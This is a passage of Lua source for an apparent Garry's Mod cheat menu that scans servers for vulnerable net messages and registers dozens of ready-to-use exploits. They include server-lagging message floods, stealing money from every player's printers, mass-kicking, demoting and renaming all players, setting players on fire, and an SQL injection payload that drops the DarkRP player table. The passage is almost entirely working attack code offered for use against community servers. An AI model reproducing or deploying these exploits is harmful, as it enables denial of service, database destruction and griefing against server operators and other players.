5525TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5526TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
5527TextEntry.OnEnter = function( self )
5528surface.PlaySound("garrysmod/ui_click.wav")
5529NOTIFICATION("Changed")
5530net.Start("gportal_rpname_change")
5531net.WriteString( (self:GetValue()), 32)
5532net.WriteString(" ")
5533net.SendToServer()
5534inputFrame:SetVisible(false)
5535end
5536end )
5537end
5538
5539status = ValidNetString("NewRPNameSQL")
5540if (status) then
5541CHATPRINT("Exploit Trouvé : Your RP Name #2 [NewRPNameSQL]")
5542addExploit( "75","Your RP Name #2", "allows you to put absolutely any rp name", function()
5543surface.PlaySound("garrysmod/ui_click.wav")
5544inputFrameExists = true
5545inputFrame = vgui.Create( "DFrame" )
5546inputFrame:SetTitle("Enter your name")
5547inputFrame:SetSize( 400, 75 )
5548inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5549inputFrame:SetDraggable(false)
5550inputFrame:ShowCloseButton(true)
5551inputFrame:MakePopup()
5552inputFrame.Paint = function( self, w, h )
5553draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5554end
5555local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5556TextEntry:SetSize( 380, 30 )
5557TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5558TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
5559TextEntry.OnEnter = function( self )
5560surface.PlaySound("garrysmod/ui_click.wav")
5561NOTIFICATION("Changed")
5562net.Start("NewRPNameSQL")
5563net.WriteString( (self:GetValue()), 32)
5564net.SendToServer()
5565inputFrame:SetVisible(false)
5566end
5567end )
5568end
5569
5570status = ValidNetString("chname")
5571if (status) then
5572CHATPRINT("Exploit Trouvé : Your RP Name #3 [chname]")
5573addExploit( "76","Your RP Name #3", "discovered by Leith", function()
5574surface.PlaySound("garrysmod/ui_click.wav")
5575inputFrameExists = true
5576inputFrame = vgui.Create( "DFrame" )
5577inputFrame:SetTitle("Enter your name")
5578inputFrame:SetSize( 400, 75 )
5579inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5580inputFrame:SetDraggable(false)
5581inputFrame:ShowCloseButton(true)
5582inputFrame:MakePopup()
5583inputFrame.Paint = function( self, w, h )
5584draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5585end
5586local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5587TextEntry:SetSize( 380, 30 )
5588TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5589TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
5590TextEntry.OnEnter = function( self )
5591surface.PlaySound("garrysmod/ui_click.wav")
5592NOTIFICATION("Changed")
5593net.Start("chname")
5594net.WriteString( (self:GetValue()) )
5595net.WriteString(" ")
5596net.SendToServer()
5597inputFrame:SetVisible(false)
5598end
5599end )
5600end
5601
5602status = ValidNetString("AbilityUse")
5603if (status) then
5604CHATPRINT("Exploit Trouvé : Free Bonus [AbilityUse]")
5605addExploit( "77","Free Bonus", "allows you to instantly get bonuses", function()
5606surface.PlaySound("garrysmod/ui_click.wav")
5607for k, v in ipairs(rp.abilities.list) do
5608CHATPRINT("ID - "..k.." | "..v:GetName())
5609inputFrameExists = true
5610inputFrame = vgui.Create( "DFrame" )
5611inputFrame:SetTitle("Enter the id of the bonus")
5612inputFrame:SetSize( 400, 75 )
5613inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5614inputFrame:SetDraggable(false)
5615inputFrame:ShowCloseButton(true)
5616inputFrame:MakePopup()
5617inputFrame.Paint = function( self, w, h )
5618draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5619end
5620local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5621TextEntry:SetSize( 380, 30 )
5622TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5623TextEntry:SetText( "6" )
5624TextEntry.OnEnter = function( self )
5625surface.PlaySound("garrysmod/ui_click.wav")
5626NOTIFICATION("Received")
5627net.Start("AbilityUse")
5628net.WriteInt(tonumber(self:GetValue()), 32)
5629net.SendToServer()
5630inputFrame:SetVisible(false)
5631end
5632end
5633end )
5634end
5635
5636status = ValidNetString("race_accept")
5637if (status) then
5638CHATPRINT("Exploit Trouvé : Get Car [race_accept]")
5639addExploit( "78","Get Car", "", function()
5640surface.PlaySound("garrysmod/ui_click.wav")
5641inputFrameExists = true
5642inputFrame = vgui.Create( "DFrame" )
5643inputFrame:SetTitle("Enter the id of the car")
5644inputFrame:SetSize( 400, 75 )
5645inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5646inputFrame:SetDraggable(false)
5647inputFrame:ShowCloseButton(true)
5648inputFrame:MakePopup()
5649inputFrame.Paint = function( self, w, h )
5650draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5651end
5652local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5653TextEntry:SetSize( 380, 30 )
5654TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5655TextEntry:SetText( "1" )
5656TextEntry.OnEnter = function( self )
5657surface.PlaySound("garrysmod/ui_click.wav")
5658NOTIFICATION("Starting")
5659net.Start("race_accept")
5660net.WriteInt(tonumber(self:GetValue()), 32)
5661net.SendToServer()
5662end
5663end )
5664end
5665
5666status = ValidNetString("NLR_SPAWN")
5667if (status) then
5668CHATPRINT("Exploit Trouvé : Respawn #3 [NLR_SPAWN]")
5669addExploit( "79","Respawn #3", "instant revival", function()
5670surface.PlaySound("garrysmod/ui_click.wav")
5671NOTIFICATION("Starting")
5672net.Start("NLR_SPAWN")
5673net.WriteEntity(LocalPlayer())
5674net.SendToServer()
5675end )
5676end
5677
5678status = ValidNetString("Kun_ZiptieStruggle")
5679if (status) then
5680CHATPRINT("Exploit Trouvé : Break Handcuffs [Kun_ZiptieStruggle]")
5681addExploit( "80","Break Handcuffs", "Instantly breaks the handcuffs", function()
5682surface.PlaySound("garrysmod/ui_click.wav")
5683NOTIFICATION("Starting")
5684for i=0,30 do
5685net.Start("Kun_ZiptieStruggle")
5686net.SendToServer()
5687end
5688end )
5689end
5690
5691status = ValidNetString("JB_Votekick")
5692if (status) then
5693CHATPRINT("Exploit Trouvé : Abuses Jailbreak Votekick [JB_Votekick]")
5694addExploit( "81","Abuses Jailbreak Votekick", "Kick Tous Le Monde", function()
5695surface.PlaySound("garrysmod/ui_click.wav")
5696NOTIFICATION("Starting")
5697for k,v in pairs(player.GetAll()) do
5698net.Start("JB_Votekick")
5699net.WriteEntity(v)
5700net.WriteString("what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? ")
5701net.SendToServer()
5702end
5703end )
5704end
5705
5706status = ValidNetString("Letthisdudeout")
5707if (status) then
5708CHATPRINT("Exploit Trouvé : ByB Force Bail [Letthisdudeout]")
5709addExploit( "82","ByB Force Bail", "exploit on all Byb servers to bail yourself out", function()
5710surface.PlaySound("garrysmod/ui_click.wav")
5711NOTIFICATION("Starting")
5712net.Start("Letthisdudeout")
5713net.WriteEntity(LocalPlayer())
5714net.SendToServer()
5715end )
5716end
5717
5718status = ValidNetString("opr_withdraw")
5719if (status) then
5720CHATPRINT("Exploit Trouvé : Lagger #14 [opr_withdraw]")
5721addExploit( "83","Lagger #14", "discovered by Leith", function()
5722surface.PlaySound("garrysmod/ui_click.wav")
5723NOTIFICATION("Starting")
5724timer.Create("lagger14", 0,0, function()
5725for i = 1, 1000 do
5726net.Start("opr_withdraw",true)
5727net.WriteEntity(LocalPlayer())
5728net.SendToServer()
5729end
5730end )
5731end )
5732end
5733
5734status = ValidNetString("NC_GetNameChange")
5735if (status) then
5736CHATPRINT("Exploit Trouvé : Change all names [NC_GetNameChange]")
5737addExploit( "84","Change all names", "allows you to change the rp names of all players", function()
5738surface.PlaySound("garrysmod/ui_click.wav")
5739inputFrameExists = true
5740inputFrame = vgui.Create( "DFrame" )
5741inputFrame:SetTitle("Enter the name")
5742inputFrame:SetSize( 400, 75 )
5743inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5744inputFrame:SetDraggable(false)
5745inputFrame:ShowCloseButton(true)
5746inputFrame:MakePopup()
5747inputFrame.Paint = function( self, w, h )
5748draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5749end
5750local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5751TextEntry:SetSize( 380, 30 )
5752TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5753TextEntry:SetText( "AHAHAHAHAH" )
5754TextEntry.OnEnter = function( self )
5755surface.PlaySound("garrysmod/ui_click.wav")
5756NOTIFICATION("Starting")
5757for k, v in pairs( player.GetAll() ) do
5758net.Start("NC_GetNameChange")
5759net.WriteEntity(v)
5760net.WriteString( (self:GetValue()) )
5761net.WriteString( (self:GetValue()) )
5762net.SendToServer()
5763end
5764end
5765end )
5766end
5767
5768status = ValidNetString("revival_revive_accept")
5769if (status) then
5770CHATPRINT("Exploit Trouvé : Reanimation #2 [revival_revive_accept]")
5771addExploit( "85","Reanimation #2", "instant revival, discovered by Leith", function()
5772surface.PlaySound("garrysmod/ui_click.wav")
5773if !timer.Exists( "exploit_revive" ) then
5774NOTIFICATION( "Enabled" )
5775timer.Create( "exploit_revive", 0.5, 0, function()
5776if !LocalPlayer():Alive() then
5777net.Start("revival_revive_accept")
5778net.SendToServer()
5779end
5780end )
5781else
5782timer.Remove( "exploit_revive" )
5783NOTIFICATION( "Disabled" )
5784end
5785end )
5786end
5787
5788status = ValidNetString("join_disconnect")
5789if (status) then
5790CHATPRINT("Exploit Trouvé : Lagger #15 [join_disconnect]")
5791addExploit( "86","Lagger #15", "b1g lags my duder", function()
5792surface.PlaySound("garrysmod/ui_click.wav")
5793NOTIFICATION("Starting")
5794if not timer.Exists("lagger15") then
5795timer.Create("lagger15", 0.5, 0, function()
5796for i = 1, 3000 do
5797net.Start("join_disconnect",true)
5798net.WriteEntity(table.Random(player.GetAll()))
5799net.SendToServer()
5800end
5801end)
5802else
5803timer.Remove("lagger15")
5804NOTIFICATION("Stopping")
5805end
5806end )
5807end
5808
5809status = ValidNetString("BuyFirstTovar")
5810if (status) then
5811CHATPRINT("Exploit Trouvé : Free Physgun [BuyFirstTovar]")
5812addExploit( "87","Free Physgun", "get physgun", function()
5813surface.PlaySound("garrysmod/ui_click.wav")
5814NOTIFICATION("Take physgun")
5815net.Start("BuyFirstTovar")
5816net.WriteString("0")
5817net.SendToServer()
5818end )
5819end
5820
5821status = ValidNetString("BuySecondTovar")
5822if (status) then
5823CHATPRINT("Exploit Trouvé : Free Gravitygun [BuySecondTovar]")
5824addExploit( "Xvac","Free Gravitygun", "get gravitygun", function()
5825surface.PlaySound("garrysmod/ui_click.wav")
5826NOTIFICATION("Take gravitygun")
5827net.Start("BuySecondTovar")
5828net.WriteString("0")
5829net.SendToServer()
5830end )
5831end
5832
5833status = ValidNetString("MONEY_SYSTEM_GetWeapons")
5834if (status) then
5835CHATPRINT("Exploit Trouvé : Give Weapons #2 [MONEY_SYSTEM_GetWeapons]")
5836addExploit( "89","Give Weapons #2", "get weapons", function()
5837surface.PlaySound("garrysmod/ui_click.wav")
5838NOTIFICATION("Starting")
5839for i = 1,32 do
5840net.Start("MONEY_SYSTEM_GetWeapons")
5841net.WriteInt(i, 8)
5842net.SendToServer()
5843end
5844end )
5845end
5846
5847status = ValidNetString("MCon_Demote_ToServer")
5848if (status) then
5849CHATPRINT("Exploit Trouvé : Demote All Players #2 [MCon_Demote_ToServer]")
5850addExploit( "90","Demote All Players #2", "demote all players", function()
5851surface.PlaySound("garrysmod/ui_click.wav")
5852NOTIFICATION("Starting")
5853for k,v in pairs(player.GetAll()) do
5854net.Start("MCon_Demote_ToServer")
5855net.WriteString(v:SteamID())
5856net.SendToServer()
5857end
5858end )
5859end
5860
5861status = ValidNetString("withdrawMoney")
5862if (status) then
5863CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #3 [withdrawMoney]")
5864addExploit( "91","Voler L'argents De Tous #3", "withdraw money from all printers, discovered by Leith", function()
5865surface.PlaySound("garrysmod/ui_click.wav")
5866NOTIFICATION("Starting")
5867for k, v in pairs(ents.GetAll()) do
5868net.Start("withdrawMoney")
5869net.WriteEntity(v)
5870net.SendToServer()
5871end
5872end )
5873end
5874
5875status = ValidNetString("withdrawMoney")
5876if (status) then
5877CHATPRINT("Exploit Trouvé : Lagger #16 [withdrawMoney]")
5878addExploit( "92","Lagger #16", "discovered by Leith", function()
5879surface.PlaySound("garrysmod/ui_click.wav")
5880NOTIFICATION("Starting")
5881timer.Create("lagger16", 0, 0, function()
5882for i=1,1000 do
5883net.Start("withdrawMoney",true)
5884net.WriteEntity(LocalPlayer())
5885net.SendToServer()
5886end
5887end )
5888end )
5889end
5890
5891status = ValidNetString("SyncPrinterButtons76561198027292625")
5892if (status) then
5893CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #4 [SyncPrinterButtons76561198027292625]")
5894addExploit( "93","Voler L'argents De Tous #4", "withdraw money from all printers", function()
5895surface.PlaySound("garrysmod/ui_click.wav")
5896NOTIFICATION("Starting")
5897for k, v in pairs(ents.GetAll()) do
5898net.Start("SyncPrinterButtons76561198027292625")
5899net.WriteEntity(v)
5900net.WriteUInt(2, 4)
5901net.SendToServer()
5902end
5903end )
5904end
5905
5906status = ValidNetString("gPrinters.retrieveMoney")
5907if (status) then
5908CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #5 [gPrinters.retrieveMoney]")
5909addExploit( "94","Voler L'argents De Tous #5", "withdraw money from all printers, discovered by Leith", function()
5910surface.PlaySound("garrysmod/ui_click.wav")
5911NOTIFICATION("Starting")
5912for k, v in pairs(ents.GetAll()) do
5913net.Start("gPrinters.retrieveMoney")
5914net.WriteEntity(v)
5915net.SendToServer()
5916end
5917end )
5918end
5919
5920status = ValidNetString("gPrinters.retrieveMoney")
5921if (status) then
5922CHATPRINT("Exploit Trouvé : Lagger #17 [gPrinters.retrieveMoney]")
5923addExploit( "95","Lagger #17", "discovered by Leith", function()
5924surface.PlaySound("garrysmod/ui_click.wav")
5925NOTIFICATION("Starting")
5926timer.Create("lagger17", 0, 0, function()
5927for i=1,1000 do
5928net.Start("gPrinters.retrieveMoney",true)
5929net.WriteEntity(LocalPlayer())
5930net.SendToServer()
5931end
5932end )
5933end )
5934end
5935
5936status = ValidNetString("NGII_TakeMoney")
5937if (status) then
5938CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #6 [NGII_TakeMoney]")
5939addExploit( "96","Voler L'argents De Tous #6", "withdraw money from all printers", function()
5940surface.PlaySound("garrysmod/ui_click.wav")
5941NOTIFICATION("Starting")
5942for k, v in pairs(ents.GetAll()) do
5943net.Start("NGII_TakeMoney")
5944net.WriteEntity(v)
5945net.WriteEntity(LocalPlayer())
5946net.SendToServer()
5947end
5948end )
5949end
5950
5951status = ValidNetString("money_clicker_withdraw")
5952if (status) then
5953CHATPRINT("Exploit Trouvé : Lagger #18 [money_clicker_withdraw]")
5954addExploit( "97","Lagger #18", "discovered by Leith", function()
5955surface.PlaySound("garrysmod/ui_click.wav")
5956NOTIFICATION("Starting")
5957timer.Create("lagger18", 0, 0, function()
5958for i=1,1000 do
5959net.Start("money_clicker_withdraw",true)
5960net.WriteEntity(LocalPlayer())
5961net.SendToServer()
5962end
5963end )
5964end )
5965end
5966
5967status = ValidNetString("opr_withdraw")
5968if (status) then
5969CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #7 [opr_withdraw]")
5970addExploit( "98","Voler L'argents De Tous #7", "withdraw money from all printers", function()
5971surface.PlaySound("garrysmod/ui_click.wav")
5972NOTIFICATION("Starting")
5973for k, v in pairs(ents.GetAll()) do
5974net.Start("opr_withdraw")
5975net.WriteEntity(v)
5976net.SendToServer()
5977end
5978end )
5979end
5980
5981status = ValidNetString("NET_DoPrinterAction")
5982if (status) then
5983CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #8 [NET_DoPrinterAction]")
5984addExploit( "99","Voler L'argents De Tous #8", "withdraw money from all printers", function()
5985surface.PlaySound("garrysmod/ui_click.wav")
5986NOTIFICATION("Starting")
5987for k, v in pairs(ents.GetAll()) do
5988if v:GetClass():find("print") then
5989net.Start("NET_DoPrinterAction")
5990net.WriteEntity(LocalPlayer())
5991net.WriteEntity(v)
5992net.WriteInt(2,16)
5993net.SendToServer()
5994end
5995end
5996end )
5997end
5998
5999status = ValidNetString("tickbooksendfine")
6000if (status) then
6001CHATPRINT("Exploit Trouvé : Ticket Book [tickbooksendfine]")
6002addExploit( "100","Ticket Book", "allows you to write a fine to all players, discovered by Leith", function()
6003surface.PlaySound("garrysmod/ui_click.wav")
6004NOTIFICATION("Starting")
6005local reasonstable = {"Nice nan ? :D"}
6006for k, v in pairs(player.GetAll()) do
6007if v != LocalPlayer() then
6008net.Start("tickbooksendfine")
6009net.WriteString(v:SteamID())
6010net.WriteTable(reasonstable)
6011net.WriteDouble(1500, 32)
6012net.SendToServer()
6013end
6014end
6015end )
6016end
6017
6018status = ValidNetString("SyncPrinterButtons16690")
6019if (status) then
6020CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #9 [SyncPrinterButtons16690]")
6021addExploit( "101","Voler L'argents De Tous #9", "withdraw money from all printers", function()
6022surface.PlaySound("garrysmod/ui_click.wav")
6023NOTIFICATION("Starting")
6024for k, v in pairs(ents.GetAll()) do
6025if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
6026net.Start("SyncPrinterButtons16690")
6027net.WriteEntity(v)
6028net.WriteUInt(2, 4)
6029net.SendToServer()
6030end
6031end
6032end)
6033end
6034
6035status = ValidNetString("withdrawp")
6036if (status) then
6037CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #10 [withdrawp]")
6038addExploit( "102","Voler L'argents De Tous #10", "withdraw money from all printers", function()
6039surface.PlaySound("garrysmod/ui_click.wav")
6040NOTIFICATION("Starting")
6041for k,v in pairs(ents.FindByClass("derma_printer")) do
6042net.Start("withdrawp")
6043net.WriteEntity(v)
6044net.SendToServer()
6045end
6046end)
6047end
6048
6049status = ValidNetString("withdrawp")
6050if (status) then
6051CHATPRINT("Exploit Trouvé : Lagger #19 [withdrawp]")
6052addExploit( "103","Lagger #19", "discovered by Leith", function()
6053surface.PlaySound("garrysmod/ui_click.wav")
6054NOTIFICATION("Starting")
6055timer.Create("lagger19", 0, 0, function()
6056for i=1,1000 do
6057net.Start("withdrawp",true)
6058net.WriteEntity(LocalPlayer())
6059net.SendToServer()
6060end
6061end )
6062end )
6063end
6064
6065status = ValidNetString("DarkRP_SS_Gamble")
6066if (status) then
6067CHATPRINT("Exploit Trouvé : Argent Gratuite #3 [DarkRP_SS_Gamble]")
6068addExploit( "104","Argent Gratuite #3", "an exploit in the addon 'DarkRP Casino'", function()
6069surface.PlaySound("garrysmod/ui_click.wav")
6070NOTIFICATION("Starting")
6071net.Start("DarkRP_SS_Gamble")
6072net.WriteInt(99999, 32)
6073net.WriteInt(1, 32)
6074net.WriteInt(0, 32)
6075net.WriteInt(0, 32)
6076net.WriteInt(1, 32)
6077net.SendToServer()
6078end )
6079end
6080
6081status = ValidNetString("PCAdd")
6082if (status) then
6083CHATPRINT("Exploit Trouvé : Delete Promocode [PCAdd]")
6084addExploit( "105","Delete Promocode", "delete all promocodes", function()
6085surface.PlaySound("garrysmod/ui_click.wav")
6086NOTIFICATION("Starting")
6087net.Start("PCAdd")
6088net.WriteString("alahman")
6089net.WriteString("300000000")
6090net.SendToServer()
6091timer.Simple(3,function()
6092net.Start("ActivatePC")
6093net.WriteString("alahman")
6094net.SendToServer()
6095net.Start("PCDelAll")
6096net.SendToServer()
6097end )
6098end )
6099end
6100
6101status = ValidNetString("viv_hl2rp_disp_message")
6102if (status) then
6103CHATPRINT("Exploit Trouvé : HL2 Disp Message [viv_hl2rp_disp_message]")
6104addExploit( "106","HL2 Disp Message", "hl2 voice commands", function()
6105surface.PlaySound("garrysmod/ui_click.wav")
6106NOTIFICATION("Starting")
6107for name, command in pairs (dispatchCommands) do
6108net.Start("viv_hl2rp_disp_message")
6109net.WriteString(command)
6110net.SendToServer()
6111end
6112end )
6113end
6114
6115status = ValidNetString("Kun_SellDrug")
6116if (status) then
6117CHATPRINT("Exploit Trouvé : Argent Gratuite #4 [Kun_SellDrug]")
6118addExploit( "107","Argent Gratuite #4", "get monies", function()
6119surface.PlaySound("garrysmod/ui_click.wav")
6120if !timer.Exists( "freemoney4" ) then
6121NOTIFICATION("Starting")
6122timer.Create( "freemoney4", 0, 0, function()
6123for i=1,1000 do
6124net.Start("Kun_SellDrug")
6125net.WriteString("mushroom")
6126net.SendToServer()
6127end
6128end)
6129else
6130timer.Remove( "freemoney4" )
6131NOTIFICATION("Stopping")
6132end
6133end )
6134end
6135
6136status = ValidNetString("net_PSUnBoxServer")
6137if (status) then
6138CHATPRINT("Exploit Trouvé : Point Shop Unbox [net_PSUnBoxServer]")
6139addExploit( "108","Point Shop Unbox", "an exploit in the addon 'Point Shop", function()
6140surface.PlaySound("garrysmod/ui_click.wav")
6141NOTIFICATION("Starting")
6142for k,v in pairs(player.GetAll()) do
6143local i = 0
6144for k2,v2 in pairs(PS.Items) do
6145if !v:PS_HasItem(v2.ID) then
6146timer.Simple(k*i*1.7,function()
6147net.Start("net_PSUnBoxServer")
6148net.WriteEntity(v)
6149net.WriteString(v2.ID)
6150net.SendToServer()
6151end)
6152i = i + 1
6153end
6154end
6155end
6156end )
6157end
6158
6159status = ValidNetString("pplay_sendtable")
6160if (status) then
6161CHATPRINT("Exploit Trouvé : ☢ Fuck the SQL database ☢ [pplay_sendtable]")
6162addExploit( "109","☢ Fuck the SQL database ☢", "fuck all", function()
6163surface.PlaySound("garrysmod/ui_click.wav")
6164NOTIFICATION("Starting")
6165local tbl = {}
6166tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
6167tbl.ply = LocalPlayer()
6168net.Start("pplay_sendtable")
6169net.WriteTable(tbl)
6170net.SendToServer()
6171end )
6172end
6173
6174status = ValidNetString("75_plus_win")
6175if (status) then
6176CHATPRINT("Exploit Trouvé : Argent Gratuite #5 [75_plus_win]")
6177addExploit( "110","Argent Gratuite #5", "Recevoir De L'Argent", function()
6178surface.PlaySound("garrysmod/ui_click.wav")
6179NOTIFICATION("Starting")
6180net.Start("75_plus_win")
6181net.WriteString("99999999")
6182net.WriteEntity(LocalPlayer())
6183net.SendToServer()
6184end )
6185end
6186
6187status = ValidNetString("ATMDepositMoney")
6188if (status) then
6189CHATPRINT("Exploit Trouvé : Argent Gratuite #6 [ATMDepositMoney]")
6190addExploit( "111","Argent Gratuite #6", "an exploit in 'ATM'", function()
6191surface.PlaySound("garrysmod/ui_click.wav")
6192NOTIFICATION("Starting")
6193net.Start("ATMDepositMoney")
6194net.WriteFloat(-9999999)
6195net.SendToServer()
6196end )
6197end
6198
6199status = ValidNetString("SellMinerals")
6200if (status) then
6201CHATPRINT("Exploit Trouvé : Argent Gratuite #7 [SellMinerals]")
6202addExploit( "112","Argent Gratuite #7", "an exploit in 'eMining'", function()
6203surface.PlaySound("garrysmod/ui_click.wav")
6204NOTIFICATION("Starting")
6205for k,v in pairs(SkillDB) do
6206if not ( v.iSkill == true ) then
6207net.Start("Upgrade")
6208net.WriteTable( { LuaName = v.LuaName, Amount = -9999999 } )
6209net.SendToServer()
6210net.Start("SellMinerals")
6211net.WriteTable({ Target = LocalPlayer() })
6212net.SendToServer()
6213end
6214end
6215end )
6216end
6217
6218status = ValidNetString("TakeBetMoney")
6219if (status) then
6220CHATPRINT("Exploit Trouvé : Argent Gratuite #8 [TakeBetMoney]")
6221addExploit( "113","Argent Gratuite #8", "Recevoir De L'Argent", function()
6222surface.PlaySound("garrysmod/ui_click.wav")
6223NOTIFICATION("Starting")
6224net.Start("TakeBetMoney")
6225net.WriteTable({1e333333 , 1e333333})
6226net.SendToServer()
6227end )
6228end
6229
6230status = ValidNetString("Kun_SellOil")
6231if (status) then
6232CHATPRINT("Exploit Trouvé : Argent Gratuite #9 [Kun_SellOil]")
6233addExploit( "114","Argent Gratuite #9", "Recevoir De L'Argent", function()
6234surface.PlaySound("garrysmod/ui_click.wav")
6235NOTIFICATION("Starting")
6236for k,v in pairs(ents.GetAll()) do
6237net.Start("Kun_SellOil")
6238net.WriteEntity(v)
6239net.SendToServer()
6240end
6241end )
6242end
6243
6244status = ValidNetString("DepositMoney")
6245if (status) then
6246CHATPRINT("Exploit Trouvé : Argent Gratuite #10 [DepositMoney]")
6247addExploit( "115","Argent Gratuite #10", "Recevoir De L'Argent", function()
6248surface.PlaySound("garrysmod/ui_click.wav")
6249NOTIFICATION("Starting")
6250net.Start("DepositMoney")
6251for k,v in pairs(ents.GetAll()) do
6252net.WriteEntity(v)
6253net.WriteString(-100000000 )
6254net.WriteEntity(LocalPlayer())
6255net.SendToServer()
6256end
6257end )
6258end
6259
6260status = ValidNetString("NET_SS_DoBuyTakeoff")
6261if (status) then
6262CHATPRINT("Exploit Trouvé : Argent Gratuite #11 [NET_SS_DoBuyTakeoff]")
6263addExploit( "116","Argent Gratuite #11", "Recevoir De L'Argent", function()
6264surface.PlaySound("garrysmod/ui_click.wav")
6265NOTIFICATION("Starting")
6266net.Start("NET_SS_DoBuyTakeoff",true)
6267net.WriteEntity(LocalPlayer())
6268net.WriteEntity(table.Random(player.GetAll()))
6269net.WriteTable({})
6270net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
6271net.SendToServer()
6272end )
6273end
6274
6275status = ValidNetString("NET_EcSetTax")
6276if (status) then
6277CHATPRINT("Exploit Trouvé : Argent Gratuite #12 [NET_EcSetTax]")
6278addExploit( "117","Argent Gratuite #12", "Recevoir De L'Argent", function()
6279surface.PlaySound("garrysmod/ui_click.wav")
6280NOTIFICATION("Starting")
6281net.Start("NET_EcSetTax")
6282net.WriteInt(-9999999999, 16)
6283net.SendToServer()
6284end )
6285end
6286
6287status = ValidNetString("RP_Accept_Fine")
6288if (status) then
6289CHATPRINT("Exploit Trouvé : Argent Gratuite #13 [RP_Accept_Fine]")
6290addExploit( "118","Argent Gratuite #13", "Recevoir De L'Argent", function()
6291surface.PlaySound("garrysmod/ui_click.wav")
6292NOTIFICATION("Starting")
6293for k,v in pairs(player.GetAll())do
6294net.Start("RP_Accept_Fine")
6295net.WriteString(v:Nick())
6296net.WriteDouble(-999999999999)
6297net.SendToServer()
6298end
6299end )
6300end
6301
6302status = ValidNetString("drugseffect_remove")
6303if (status) then
6304CHATPRINT("Exploit Trouvé : Remove Weapons [drugseffect_remove]")
6305addExploit( "119","Remove Weapons", "remove all weapons", function()
6306surface.PlaySound("garrysmod/ui_click.wav")
6307NOTIFICATION("Starting")
6308net.Start("drugseffect_remove")
6309net.SendToServer()
6310end )
6311end
6312
6313status = ValidNetString("drugs_money")
6314if (status) then
6315CHATPRINT("Exploit Trouvé : Remove Money [drugs_money]")
6316addExploit( "120","Remove Money", "remove all money", function()
6317surface.PlaySound("garrysmod/ui_click.wav")
6318NOTIFICATION("Starting")
6319net.Start("drugs_money")
6320net.SendToServer()
6321end )
6322end
6323
6324status = ValidNetString("CRAFTINGMOD_SHOP")
6325if (status) then
6326CHATPRINT("Exploit Trouvé : Argent Gratuite #14 [CRAFTINGMOD_SHOP]")
6327addExploit( "121","Argent Gratuite #14", "an exploit in 'crafting mod'", function()
6328surface.PlaySound("garrysmod/ui_click.wav")
6329NOTIFICATION("Starting")
6330net.Start("CRAFTINGMOD_SHOP")
6331net.WriteTable({
6332BUY = -9999999;
6333type = 1
6334})
6335net.WriteInt(1,16)
6336net.SendToServer()
6337end )
6338end
6339
6340status = ValidNetString("drugs_ignite")
6341if (status) then
6342CHATPRINT("Exploit Trouvé : Fire Players [drugs_ignite]")
6343addExploit( "122","Fire Players", "", function()
6344surface.PlaySound("garrysmod/ui_click.wav")
6345NOTIFICATION("Starting")
6346net.Start("drugs_ignite")
6347net.WriteString("player")
6348net.SendToServer()
6349end )
6350end
6351
6352status = ValidNetString("drugs_ignite")
6353if (status) then
6354CHATPRINT("Exploit Trouvé : Fire Props [drugs_ignite]")
6355addExploit( "123","Fire Props", "", function()
6356surface.PlaySound("garrysmod/ui_click.wav")
6357NOTIFICATION("Starting")
6358net.Start("drugs_ignite")
6359net.WriteString("prop_physics")
6360net.SendToServer()
6361end )
6362end
6363
6364status = ValidNetString("drugseffect_hpremove")
6365if (status) then
6366CHATPRINT("Exploit Trouvé : Change HP [drugseffect_hpremove]")
6367addExploit( "124","Change HP", "", function()
6368surface.PlaySound("garrysmod/ui_click.wav")
6369NOTIFICATION("Starting")
6370net.Start("drugseffect_hpremove")
6371net.WriteString(99999)
6372net.SendToServer()
6373end )
6374end
6375
6376status = ValidNetString("drugs_text")
6377if (status) then
